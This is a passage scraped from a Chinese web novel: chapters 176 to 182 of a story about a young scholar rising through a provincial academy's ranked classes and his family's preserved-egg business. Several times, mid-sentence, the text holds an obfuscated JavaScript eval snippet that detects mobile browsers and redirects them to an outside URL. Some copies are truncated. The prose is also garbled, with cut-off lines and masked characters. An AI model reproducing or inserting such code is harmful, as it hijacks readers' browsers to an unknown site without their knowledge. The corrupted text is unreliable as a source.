“这一次,可万万不能再耽搁了。” “孩子他爹,你倒是拿个主意啊!” 苏静姝抱怨道。 自家这相公现在完全钻到书里去了。 家里家外的,一概都不管了。 方仲礼皱着眉头,此刻他的目光下意识看向了方子期…… 儿子在,他心就定。 见方仲礼的目光聚焦过来,方子期无奈摇头。 “娘!” “阿姐才十五,不着急。” “若是有好的人家,可以相看,但是别太仓促。” “若是明年我和爹乡试能中榜,阿姐相看也能更好一些。” 方子期叮嘱道。 “是!是这么个道理!” “娘子!” “明年乡试我同子期都是要下场的,我能不能中不知道,但是子期定然是能中榜的。” “子期若中了举人,那咱们家的门第就能提起来了。” “到时候若是给大丫找个如意郎君定是不难的。” “此事,不可操之过急!” “子期言之有理!” 方仲礼连忙道。 苏静姝此刻忍不住白了方仲礼一眼。 “你这个当爹的,现在反倒是成了儿子的应声虫了!” “算了!” “回头看看吧!若是有好的人家…也该定下来了。” 苏静姝嘟囔道。 …… 两天的休沐很快结束。 回到省学的第一件事,就是看榜。 黄字号四班中。 当方子期看到自己的名字高悬榜首,无惊无喜。 凭韩夫子对他的态度,再加上他的文章水准,在黄字号四班中拿个榜首,那不是理所应当的吗? 如若他不是第一…… 那定是有人舞弊了。 “子期!我第十一名!” “爹给你丢人了!” 方仲礼老脸一红,他是真不争气啊!“ 儿子得第一,他得第十一。 整个黄字号班也就二十四人,他这成绩刚好排在中间。 “方叔!” “十一名可以了。” “我居然倒数第三名!” “奇耻大辱啊!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“这个月上去了,下个月说不定就要掉下来。” “早已**以为常了。” “方兄。” “那玄班之中……” “可都是一群小怪物啊!” “可不是咱们这黄班能比的。” 林疏桐无奈苦笑。 他的学问在黄班中算是拔尖的了,但是到了玄班就得垫底。 毕竟这黄班中大部分都是普通秀才,也就那么稀疏几个廪生。 但是在玄班中,基本上都是廪生。 相当于一群顶尖秀才在一起竞争。 第176章 林疏桐:我超级留级生,人脉遍省学 “行了!” “你们两个就别在那里你侬我侬的了!” “谁来安抚一下我这颗受伤的心?” “你们都去了玄班,就留我跟方叔在黄班……” “方叔也就算了,好歹还是十一名……” “我这倒数第三名随时都有被省学退学之风险!” “我太惨了!” “呜呼哀哉!” “再这样下去,我要当第二个黄角了!” 花允谦突然压低嗓音道。 方子期:“……” 这家伙,还真是口无遮拦。 啥都敢说。 好在还算知道压低声音。 照例。 方子期今日在黄班中再进学一日,就要飞升玄班了。 不过哪怕在黄班一日,也要好好听课…… 韩夫子照常教学。 方子期照常听得津津有味。 也不知道是方子期的错觉还是什么,他总感觉今日这位韩夫子在频频看他? 课后。 方子期在向韩夫子请教完毕后,躬身行礼。 “多谢夫子连日来的悉心教导。” “学生在这里谢过了。” 对于韩夫子这位素来温文尔雅的夫子,方子期的观感极好。 “嗯!” “去了玄班,亦要好好学习。” “你去了玄班,我虽不再教导于你。” “但你若是有什么问题,亦可随时来找我。” “我这个人素来清净,也没什么朋友,闲暇时你若来找我讨教学问,我也是极欢喜的。” 韩夫子脸上挂满了笑容,看向方子期的目光显得格外温和,就像是看着自家的亲近后辈一般。 虽然往日里韩夫子对他态度也极好,但是今天…方子期感觉更好了…… 这明显的态度变化,让方子期还有些不太适应。 “多谢夫子!” “夫子!” “我爹在黄四班,就劳烦您多照顾了!” “我爹这个人素来木讷,然求学之心坚定。” “还望夫子多多指点!” 方子期请求道。 方仲礼站在一旁,脸上微红。 虽然他儿子说的都是实话。 但…… 被儿子罩着…… 多多少少还是有些难为情。 “放心吧子期!” “你且安心去玄班上课就是。” “你父亲在这里,我自当尽心教导。” “你父亲其实在读书上还是颇有天赋的,在这方面,你父亲倒是有几分子期你的影子。” “只是可惜,你父亲开蒙太晚,错过了读书的最好年龄罢了!” “然!” “勤能补拙!” “此刻用功,为时不晚!” 韩夫子抚摸着胡须,摇头晃脑道。 同韩夫子这边交代好后。 第二日,方子期就来到了玄字号二班报到! 玄字号班共有三个,基本上是哪个班缺人了,从黄班上来的人就去哪个班。 凑巧的是,方子期同林疏桐倒是同在玄二班。 也算是有了个熟人了。 等到了玄二班后,因为方子期是个新兵蛋子,所以啥人也不认识,索性他也懒得去搞这些无用社交,随即找了个空位就坐下了。 当林疏桐走进来后…… 方子期本以为他应当同自己一样…… 可是万万没想到…… 林疏桐一进来,就在那里八面玲珑…… “孙兄!” “赵兄好!” “对!又见面了!” “呀!管兄也在此!” “钱兄好!侥幸又晋升了!同喜同喜!” “舒兄!你我倒是有数月没见了……对!我又从黄班晋升上来了!” “哪里哪里…还是贾兄更胜一筹才是!” …… 看着林疏桐那长袖善舞、应接不暇的样子,方子期暗叹一声好家伙。 这整个玄二班,这家伙居然全认识! 全是老同学啊! 打招呼打了一圈后,林疏桐才微红着脸坐到了方子期身旁。 眼看着方子期的目光透着古怪,林疏桐无奈苦笑。 “子期兄莫笑。” “我早同子期兄说了,这玄班黄班,我来来**晋升跌落已经几十次了。” “不怕子期兄笑话。” “我从进入这省学开始,也有三年了!” “这三年…我基本上隔一个月就要晋升玄班一次,或是跌落黄班一次……” “三年时间,我这学问…几无寸进!实在汗颜!” “倒是因此,结识了这许多朋友。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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第177章 方子期:我成了左右** “哎!运势太差了!” “居然来了玄二班!” “这许夫子可是出了名的严厉。” “早知道这次就不晋升了……” 林疏桐叹了口气道。 此刻的林疏桐倒是为数不多敢在课堂上说小话的。 看来这超级留级生的身份果真不同凡响。 正当林疏桐抱怨的时候,方子期明显感觉到一道锐利的目光射了过来。 “林疏桐!” “起身!” 许夫子略带威严的声音传来,林疏桐吓得一哆嗦,此刻一张脸早已一片漆黑。 完了! 被许黑脸盯上了! “夫子……” 林疏桐略显踉跄地站起身,周围的同窗皆投射过来一道怜悯的目光。 “林疏桐,我们又相见了!” “我且问你!” “《孟子??离娄上》中言‘徒善不足以为政,徒法不能以自行’,而《韩非子??定法》则称‘法者,宪令著于官府,刑罚必于民心’!” “你说一说孟子的‘善’与‘法’与韩非子的‘法’之核心指向是何处?” “他们在治理百姓的逻辑上有何差异之处?” “你且细细道来!” “莫要着急。” “我且等你就是!” 许夫子悠哉悠哉道。 听到这个问题,林疏桐整个脑子都炸了…… 这问题…已经不能用刁钻来形容了,简直就是变态啊! 这个难度就算是一般的举人来了,恐怕也很难回答周全。 至少。 此刻的玄字号二班内,一众学子眼观鼻鼻观心,大气不敢出,生怕被夫子给盯上。 至于林兄…嗯!只能让他自求多福了! “韩非子…孟子……” “法……” “他们……” “应该……” “这点……” 林疏桐额头上开始冒冷汗了,一张脸也早已憋得通红,双手不由得紧握。 此刻结结巴巴的,脑子早就是一团浆糊了。 别说他本来就回答不上来,就算是真会,此刻这状态也无法体面作答。 “怎么?” “不理解?” “你可有在好好听课?” “这些我刚才都已穿插教导过了!” 许夫子冷着脸道。 “夫子,学生……学生惭愧,确实不知其解。” 林疏桐低着头,一脸羞红。 “不会,那就站着好好听吧!” “此题,谁人能解?” 许夫子的目光横扫整个课堂。 随即就看到了所有学子全部都当起了低头族。 不对…… 准确来说还有一人,此刻正目光平视前方,一副事不关己高高挂起的姿态。 许夫子眉头一皱。 此子他倒是第一次见,如此年龄就已晋升玄班,想来天资自是不差,只是没想到亦玩物丧志,居然同林疏桐这等纨绔坐在一起! 定然要好好训斥一番此子!否则真要被林疏桐带坏了! “林疏桐身边的那位学子,你且起身!” 许夫子的目光看向方子期,方子期微微一愣…… 怎么盯上他了? 难道是因为他坐在林疏桐一旁的缘故? 方子期不作他想,当即起身行礼。 “你唤何名?” 许夫子询问道。 “学生方子期。” 方子期继续恭敬道。 “你可知此题何解?” 许夫子没指望方子期能答上来。 这题目本来就是设置出来刁难林疏桐的。 作为夫子,他必须要立威!让学生们感到害怕,如此才能认真听讲! “夫子!” “依学生浅见。” “孟子所言之‘善’乃根本!所言之‘法’则为辅助!” “其‘善’之核心其实就是基于‘性善论’的道德伦理!” “至于‘法’之定位,应当指代的是维护朝廷秩序的基本规范,如赋税之法和户籍之制等!” “至于韩非子所言的‘法’则为核心!主张放弃‘善’而侧重于‘势’!” “韩非子主张的‘法’的核心是君王和官府制定并推行的那些成文律法!以‘赏罚’为核心!治民逻辑也应当是‘以法为纲,赏罚驭民’!主张用‘重赏’来鼓励耕战,用‘重罚’来禁止奸邪之辈!以大道‘令行静止’的理想统治!” “学生认为,两者之间的根本差异就在于孟子觉得应当以道德轮椅来治理百姓!而韩非子则更侧重于利益驱动来鼓励并约束百姓!“ “孟子之所求,乃是‘民心归顺’!而韩非子所求则是‘秩序稳定’!” 方子期铿锵有力,抑扬顿挫,按照自己的理解,将孟子的‘善’与‘法’与韩非子的‘法’之核心诠释了一遍。 周围一众同窗虽有些听不太懂,此刻也无不侧目。 至少,这位叫方子期的小同窗能说得头头是道啊! 若是让他们站起来回答问题,恐怕也如林疏桐一般,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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两人能时常讨论一刻钟,然后许夫子继续授课。 对于玄字号二班的一众学子而言,顿感压力全消了! 第178章 同窗:方兄以身饲虎!方兄大义! 因为许夫子的注意力现在大多都在方子期身上,提问也直接找方子期,他们就不用随时做好被提问的准备,也没了之前那种如履薄冰、战战兢兢之感了。 所以。 对于玄字号二班的这些学子而言,虽然他们都是第一次见方子期,但是此刻对方子期的观感极好。 以至于…… 课间的时候,等许夫子离开课堂,这些学子全都凑上来打招呼。 一口一个方兄,一口一个子期兄的,叫的那叫一个亲热。 “子期兄啊!” “你可是我们的护学神兽啊!有你在,没意外!” “是啊是啊,也就只有你能搞得定许夫子了!” “子期兄,今后你可千万不要请假啊!” “方兄!大恩不言谢,晚上鸿宴楼我请客!” “方兄大义!” “方兄为保全我们,不惜以身饲虎!” “方兄……” …… 方子期:“……” 好家伙…… 看着这些学子那感激涕零的样子,方子期很难想象这些人平日里到底被这位许夫子给磋磨成什么样了。 以至于方子期只是稍微吸引了一下许夫子的‘火力’,就让他们对方子期产生了一种救命之恩无以为报之感。 “子期兄。” “怨不得他们。” “实在是咱们这许夫子…从来没有过好脸色。” “喜欢提问也就算了,问题还都刁钻古怪的。” “问题刁钻也就算了,答不上来轻则站着上课,重则还要打你板子!” “子期兄,你是不知道那许夫子的板子有多厚……打一板子,几天都消不了肿。” “咱们在背后都叫这许夫子为黑脸夫子!” “那脸啊,就没放晴过。” “不过说起来也怪,他在面对子期兄的时候,居然能做到和颜悦色。” “实在奇怪。” “子期兄,莫不是你长得像他失散多年的儿子?” 林疏桐摸了摸脑袋,百思不得其解。 方子期脸上的错愕之色更显。 这许夫子…当真有这么可怕吗? 还好吧? 方子期看着手中的糕点陷入沉思。 这还是刚才许夫子怕他饿着了,特地给的呢! 省学的读书生涯,对于方子期来说,还是很舒服的。 虽然现在他坐的是左右**位,但是因为拉近了同许夫子之间的距离,所以方子期课间请教学问倒是更便利了。 而且这位许夫子之学问,算是方子期见过的那些举人中最好的。 不愧是二十多岁就能中榜乡试第七名的天之骄子! 这举人与举人之间的差距,往往就像是狼与哈士奇之间的差距。 归家时。 苏静姝那里也带来一个惊喜。 晚餐时分。 方子期居然在桌子上看到了松花蛋! 而且他娘还特地买了豆腐用小葱给拌上了。 一口下去。 软糯至极。 香味自现。 “妙!” “实在是妙!” “这当真是鸭蛋做出来的?” “实不知,这鸭蛋还有如此妙用!” “哎!” “读书还是要像子期这般,活学活用啊!” “否则光读死书,又有何用!” 周夫子一边感慨着,一边忍不住又夹了一大块松花蛋。 这松花蛋的滋味,喜欢吃的人,那是真爱吃。 若是不喜欢吃的人,那也是真不爱吃。 不过只要有一半的人喜欢就够了。 “子期!” “明日我让你虎叔和江婶出去卖一卖,看看行情。” “就是这松花蛋色泽看起来确实有些怪。” “恐怕一开始不好卖。” “我打算拿出几个茶叶蛋,切成小块,让人品尝。” “子期,你觉得怎么样?” 苏静姝兴奋地询问道。 “当然可以了娘,我建议你干脆直接做几份松花蛋拌豆腐,然后拿去市场上,有人想要尝尝味道,就尝一口就好了!” “至于这松花蛋的定价嘛……” “娘,你想好了吗?” 方子期询问道。 “这……” “原本没战乱的时候,这鸭蛋一文钱就能买到一个,但是现在物价涨得太快了,这鸭蛋我买进来就四文了,再加上制作松花蛋的过程中还有各种材料消耗……” “这一个鸭蛋的成本都在五文,子期,前期我卖六文一个你觉得怎么样?” 苏静姝踌躇不定道。 “不怎么样。” “娘!” “您这是在做慈善吗?” “一个松花蛋赚一文钱…还不够累的。” “十文钱一个吧!” “前期可能卖得少些。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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大头还在后面呢! 第179章 与传胪论道 逢休沐。 方子期带着自家娘亲准备好的刚出锅的红烧肉还有松花蛋,去拜访了一下各位夫子。 做人一定要重情重义! 虽一些红烧肉和松花蛋不值什么钱,对于那些省学的夫子而言,也并非多厚重的礼物。 然…… 这是他娘亲自做出来的!方子期亲自送过来的! 礼轻情意重! 而且每次方子期送礼,都不会少了方夫子那一份。 他父子二人之所以有机会开蒙读书,全仰仗方夫子提携! 虽方子期现在接触的大多都是举人夫子了,但是吃水不能忘了挖井人。 在这一点上,方子期并非做戏,而是发自内心的报恩。 来到省学,来到刘青芝所住小院。 刘青芝一般情况下都是在省学住的,方子期也不知他有没有家室。 来到小院门口,方子期遇见了老莫。 “莫老。” “学生来拜见教授。” 方子期客客气气道。 “啊?” “小子期来了啊!” “去吧去吧!” “主人在里面!” 老莫瞥了一眼方子期手中拿的食盒,颇为满意地点点头。 这小子,懂事啊! 方子期本想将食盒交给老莫,只是老莫摇摇头道:“你且带进去交给我家主人吧!” 方子期明白,这是老莫想让刘教授多记方子期一份情义。 入了小院中。 一片绿意盎然,小院中,还有一池塘,池塘内,几尾鱼儿肆意游荡,池水清澈见底,微风徐徐,倒是别有一番趣味。 而此刻那位刘教授就坐在小院中,悠然自得地看着书。 “学生拜见教授!” 方子期上前,恭敬行礼道。 被骤然打搅,刘青芝有些不喜,但是看到是方子期后,刘青芝脸上的不喜随即就被笑意所覆盖。 “是你啊!” “今日不是休沐吗?” “你又要去书阁读书?” 刘青芝满脸温和笑意。 “禀告教授。” “家母为感激教授教导我之恩,特地让学生送来一些自制的红烧肉和松花蛋供教授品尝。” 方子期说话间,将食盒递了过去。 “嗯!” “代我谢谢你母亲。” “以后莫要来送了。” “世道维艰,百姓度日亦显艰难。” “这份心意,我领了。” “只是这松花蛋又是何物?” 刘青芝脸上不由得多了一些兴致。 确实是第一次听到此种名字。 “教授,这松花蛋是鸭蛋辅以各种香料研制而成。” “可用来拌豆腐或是烹饪松花蛋瘦肉粥。” “此松花蛋口味细腻,暗含异香,口感还算爽利。” 方子期简单解释道。 “哦?” “竟不知你母亲还有如此心才。” “如此,我便收下了。” “子期!” “近来可读了哪些书?” 刘青芝点点头,询问道。 “禀告教授,自从上次教授荐书后,学生又仔细研读《心道录》和《行者录》这两本书。” “对‘心即理’和‘知行合一’的理解更深了一层。” “学生初读后,尚且有所懵懂。” “然仔细研读十数遍后,方才理会此中真理!” “学生多谢教授荐书之恩!” 方子期感激涕零道。 这话半真半假。 这《心道录》和《行者录》包括那本《天行录》确实都是好书,算得上是心学著作。 刘青芝荐书,他确实感激。 不过这几本书方子期也就读了两三遍就记住了。 刘青芝此刻脸上不动声色,心中却是十分宽慰。 此子! 倒是颇有识书之能! 这三本书可都是他呕心沥血之作! 想当初,这几本书也算是名动一方。 只可惜…… 随着功名利禄的离去,倒是成了一地鸡毛,无人问津了。 现如今眼见方子期将这三本书视若珍宝,刘青芝心中十分快意。 颇有一种知己懂我之感。 “你既已熟读了这几本书,可知‘知行合一’之真正含义?” “‘知行合一’之学说提出之目的又是为了什么?” 刘青芝此刻忍不住生出了考教之心。 方子期略一思忖,随即道: “禀告教授,所谓的‘知行合一’其实就是‘知’和‘行’并非是相互分离的两个阶段!而是在同一过程中所展现出的两个方面!” “‘知’乃‘行’之始,‘行’乃‘知’的完成!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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拜师传胪!吾儿夸我了! “是!” “学生多谢教授教导之恩!” 方子期连忙致谢。 “怎么?” “还称教授?” “吾之学问哪里比那柳承嗣差了?他能为你师,吾就不能吗?” 刘青芝佯装愠怒道。 “教授……” “老师……” “老师之学问浩如烟海!令学生折服!” “能时刻追随于老师身后,得老师耳提面命,实是学生之荣幸!” 方子期连忙作揖道。 好家伙。 来送个松花蛋,还顺便拜了个老师,这实在是太划算了啊! 讨教完学问,方子期本来打算直接离去的,不好继续打搅刘青芝,只是刘青芝执意要留下他一起进午食。 民间虽然还在崇尚一日两食,但是稍微有些家资和身份的人,已经开始一日三食了。 午食倒也简单,老莫烧制了两个素菜,然后将方子期带来的红烧肉热了热,又根据方子期的意见,用松花蛋拌了一些豆腐。 刘青芝因为初次见到这松花蛋,忍不住夹了一块。 品尝后,刘青芝不由得眼前一亮! “醇鲜回甘!” “绵密弹脆!” “此松花蛋中,既有一丝泥土的厚重底韵,又有新笋的清冽爽利!” “鲜而不腻,醇而不浊!” “滋味甚好!” “子期!” “你有心了!” 刘青芝感觉松花蛋的滋味甚好,不由得多吃了几块。 一旁的老莫也跟着一起吃饭,他就感觉这松花蛋味道怪怪的,不太喜欢吃。 反倒是这红烧肉…… 是真鲜美啊! 老莫此刻也顾不得形象,连吃了好几块。 因这小院就老莫和刘青芝两个人住,所以平日里也是同吃同住的,也没那么多讲究。 “主人!” “子期带来的这红烧肉味道也极好!” “您快尝尝!” 老莫吃得满嘴流油。 “哦?” 刘青芝眉毛一样,平日里,他不太喜欢吃这些肉食。 尤其是肥肉。 但是见老莫竭力推荐的样子,忍不住夹了一块放入口中。 顿时…… 满嘴流油。 各种香味充斥了整个口腔。 哪怕是刘青芝这等不喜肉食之人也不由得连连点头,手中的动作更是丝毫不慢。 一顿午食下来,刘青芝都感觉自己的肚皮撑着了。 想想自己以前吃的,那都是些什么猪食啊! 想到此,刘青芝略带‘幽怨’的目光看向老莫。 “你以后,可要多精进一下厨艺才是!” 听着刘青芝如此之言,老莫一愣。 坏了! 这是冲我来了? 主人吃惯了这美味的松花蛋和红烧肉,这以后哪里还能看得上他烧制的菜肴啊! 方子期临走时,老莫特地交代:“子期啊,回头你家若有多余的松花蛋,卖一些给我,看我家主人那样子,以后无松花蛋怕是不想再吃饭了!” 老莫叹了口气。 厨师难当啊! 方子期一乐,连连点头。 这也不是什么大问题! 接下来的日子。 方子期除了在玄二班照常当他的左右**认真听课外。 时不时地就去小院找刘青芝谈经论道。 接触的多了。 方子期也不由得感慨,这传胪就是传胪。 水平确实高。 方子期感觉这位刘教授的学问比那位柳大宗师还稳稳高出一大截! 毕竟柳大宗师今年才三十几岁,而刘教授都五十多岁了。 虽说学问不看年龄。 但是大多数情况下,确实越老越吃香。 否则那些大儒中,怎么没年轻人? 跟在刘青芝后面学习,方子期感觉自己的学问进境飞快! 如此一来。 方子期现在已经不是隔三差五地给周夫子、他爹方仲礼等人授课了,而是基本天天授课。 授课的内容自然就是每日刘青芝所教导的…… 一位二甲第一名的传胪教导的学问,足够周夫子他们好好钻研的了。 “子期!” “你每日在省学既要上课,还要请教刘教授学问。” “归家之后还要教导我们,是不是太辛劳了些?” “要不然还是如以往那样,隔个三五日教学一次吧!” “可不能累了身体才是!” 周夫子满眼心疼,还有愧疚。 他这个夫子当的。 实在是不够格啊! 若是他的学问好一些,若是他也是二甲进士,何至于让子期 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16249664|181960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 每日如此操劳? 还要子期反过来教学他们的学问? 一想到这些,周夫子顿时就将这满腔羞愧化为读书的动力! 我不但要秋闱中举!我还要春闱中进士! 一个字!干! “夫子。” “放心吧!” “我每日也就指导你们一个时辰罢了。” “还是饭后教导。” “刚好消食了。” “而且在教导你们的同时,我亦能将今日刘教授传授的知识再回想一遍,亦能加深记忆,对我也有颇多助益。” “只要大家都能好好读书就行了。” “这几日读书。” “夫子和我爹都很用功。” “允谦也不错,比以前的态度端正了不少。” “至于砚秋嘛……” “怎么最近心事重重的?” 方子期看向方砚秋道。 “啊?” “我吗?有吗?” 方砚秋愣了一下,随即想了想摊手道:“子期,不是我心事重,实在是你们都太聪颖了,我有些跟不上节奏。” 方砚秋苦笑道。 他觉得自己已经很努力了。 每日都在苦读。 三更不眠,五更不睡的。 恨不得压榨所有的睡觉时间去读书。 毕竟这里面就他一个童生,他亦感觉压力山大。 可越是如此,他就感觉越不行。 感觉其中有着不小的桎梏存在。 “砚秋兄!” “你啊!” “就是想的太多了!” “平心静气,正常读书就好!” “至于结果如何,暂且不去管!” “还有…我听允谦兄说,你经常夜间不睡在读书?” “虽崇尚苦读,但不是牺牲所有的休息时间去苦读。” “睡眠不足,脑子不通,就算是读再多书,不入脑子又有何用?” “砚秋兄!你可要好好改一改你的毛病才是!” “无论如何,睡眠还是很重要的。” “睡好了,才能更好地读书。” “就像我爹,他虽然也苦读,但是每日都是能够睡足三个时辰的,而且倒床就能睡着,睡眠质量极佳!” 方子期说话间,朝着方仲礼满意地夸赞道。 方仲礼嘴角含笑,我儿,夸我了! 第181章 方子期:我的同窗皆成了怨妇 白日方子期在省学当学生。 晚上方子期回家中当夫子。 繁忙,但充实。 很快。 迎来了他入省学的第二次月考。 题目出自于《孟子??公孙丑下》。 “天时不如地利,地利不如人和!” 主要考察的重点其实也就是‘人和’。 对比一下天时地利的局限性,然后延伸到治国理政之中。 从而剖析出‘得民心’和‘固城防’的内在联系。 方子期简单思索后,就破题了。 “若谓天时可凭、地利可恃,则何以有城高池深而民叛、风调雨顺而国亡者乎?盖在人和之有无也。” 洋洋洒洒一篇文章很快写好。 写完后。 方子期又是第一个交卷。 他懒得在考试上浪费时间。 与其枯坐,还不如去小院找刘教授探讨一下学问呢! 有许夫子这个对方子期格外看好的夫子在。 方子期丝毫不担心自己是不是第一名…… 等几日后的月考结果出来后…… 果不其然。 他的名字高悬在玄二班的榜首之上。 稳了! 直升天班之路! 已经走了一半了! 让方子期感到颇为惊奇的是,林疏桐这个家伙居然考了玄二班倒数第三名…… 这分数卡的…… 让方子期有一种不真实的感觉。 “子期兄!恭喜了!又高中玄班榜首!” “马上就要升到地班去了!” “初次见方兄,我就感觉方兄非凡俗之人!” “现在看来,我的眼光还是极好的!” “能同子期兄做两个月的同窗,实在是我林疏桐的荣幸啊!” “明年秋闱,等子期兄高中解元,我就可以对旁人说,我同解元公做过两个月的同窗!” “何其荣幸哉!” 林疏桐对于他这个玄二班倒数第三名的名次丝毫不气馁,反倒是一副欣喜神情。 不得不说。 这家伙实打实的。 就是个妙人! 实在是太妙了! “林兄!” “你同我说一句实话。” “你是不是故意控分?控名次?” “就是为了不去地班?” 方子期一脸认真地看向林疏桐。 这家伙…… 实在是有些太邪门了! 搞得方子期有一种毛骨悚然的感觉。 “啊?” “控分?控名次?” “还故意不去地班?” “子期兄!” “你也太高看我了吧?” “我哪有那个本事晋升地班啊……” “不过…这一次月考,我确实是故意将文章写得差了些!” “不然我怎么脱离玄二班这个魔窟啊?” “上个月有子期兄你在,吸引了许夫子的所有注意力。” “这个月子期兄你就去地班了,没你吸引许夫子的注意,玄二班的其他学子可不就要倒大霉了吗?” “我可不想每天被许夫子拎起来罚站啊!” “还有许夫子那板子…打得是真疼啊!” “幸好……” “这一次我捞了个倒数第三名,正好可以降级去黄班耍耍。” “说不定又能被分到黄四班去和允谦兄做同窗。” 林疏桐一脸笑意,此刻的心态倒是极好。 一边说着话,一边在那里频频点头。 心态安稳扎实得很。 “那明年的秋闱,林兄要参加吗?” 方子期询问道。 “这个……” “我本来不想参加的,但是我爹肯定要逼着我参加,我也没办法啊!” “哎!” “到时候去凑个人数吧!” 林疏桐耸耸肩,苦笑道。 听说方子期要晋升地班。 玄二班的一众学子皆恋恋不舍。 他们可没林疏桐这般幸运,能降级去黄班…… 他们还要继续待在这黄班之中,接受那位黑脸许夫子的磋磨啊! “子期兄!你走了我们可怎么活啊!” “方兄!常回来看看!” “方兄!你怎么忍心抛下我们……” “子期兄……万望珍重!” “方兄……” 眼看着这群玄二班的学子皆是一副楚楚尤怜、泫然欲泣、万分不舍的表情,方子期也很无奈…… 我的同窗怎么都成怨妇了。 照例。 放榜第一天。 方子期还是要继续在玄二班上一天课,然后第二天再去地班报到。 或是因为要分离了。 许夫子显得很不舍。 这一天授课都没什么心思,大多数时间都在同方子期谈经论道。 “子期啊!” “去了地班,亦要好好学!” “我本来有私心,想着将你的排名往后排一排,让你继续待在玄二班。” “但是如此…对你就太不公平了。” “更何况去了地班,授课的夫子就是进士了。” “他们的学问可就比我好得多了。” “不过…咱们省学的那几个进士夫子脾气都不怎么好。” “到时候你亦要注意些,莫要惹恼了他们才是。” “子期啊!” “我家的地址你也知道,若你有什么学问上的问题,尽可以去寻我!” “你是我教过的最有天赋的学生。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16249665|181960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>“未来你之成就,必定耀眼于整个大梁!” “夫子无能,只能送你到此处了!” “但…少年得志,切莫张狂!” “子期!切记!” “一定要明白,读书之路,人外有人,天外有天!” “无论何时何地,一定要秉持谦逊谨慎之心!” 许夫子抬起头,眼神中透着异样光芒。 言辞之间,皆是嘱托。 方子期点点头,心中亦十分感动。 这些可都是许夫子的经验之谈。 想当年,许夫子二十余岁就高中乡试第七名。 何其地意气风发。 然最终的科举之路,也就在此刻戛然而止了。 他教导方子期戒骄戒躁,也是希望方子期不要走他的老路。 天下英才,过过江之鲤,何其多也! 唯有秉持初心,才能砥砺前行! 晚间归家时。 大家情绪都不错。 方仲礼手中甚至还握着一个五两银锭和一个三两银锭,总共八两银子,这是他在黄四班月考第二名的奖励! “子期!” “在你这一月以来的辛勤教导下,为父亦有所进步!” “这八两银子虽是我的月考奖励,但亦是你的心血之作!” “子期!爹多谢你了!” “这银子,你拿着!” 方仲礼十分大方地将八两银子递送到方子期手中。 方子期:“……” 就像是真给我了一样。 等回家,不都得上交吗? “爹!” “这是我的月考奖励,六十两银子。” “你拿着吧!” “算是儿子对您的一点孝心了。” 方子期一脸感恩道。 方仲礼:“……” 这孩子! 长大了啊! 懂得孝顺他这个老父亲了啊! 虽然等回家就得上交给娘子。 但是这一路上…至少这六十两银子是他的! 吾儿! 孝顺! “行了行了!” “子期,方叔。” “你们父子俩就别推来推去的了,眼馋我呢?” “哎!” “现在我真成拖后腿的了!” “子期就不说了,一直无敌。” “现在方叔也得了黄班第二名,马上要晋升玄班。” “独留我一个人在黄班,太孤独了啊!” 花允谦叹气道。 “允谦兄,你此次月考在黄四班中排名第七,也很不错了。” “这个月努努力,下个月应当就有机会晋升玄班了!” “再说了,你不孤独,马上就有人来黄班陪你了。” 方子期莞尔一笑道。 第182章 皇帝崩,天下乱 “谁?谁陪我?” “我在省学拢共也没认识几个人……” “嗯?” “子期,你不会是说林疏桐那个家伙吧?” “这家伙又降级了?” 花允谦乐了。 还有比自己更倒霉的。 这可是好事啊! “嗯!” “林兄这一次在玄二班中排名倒数第三……” “又降级了。” “允谦兄,你同林兄相熟,你觉得这林兄才学如何?是不是故意在玄黄两班中倒腾?” “为的就是不升地班?为的就是去黄班拿排名奖励?” 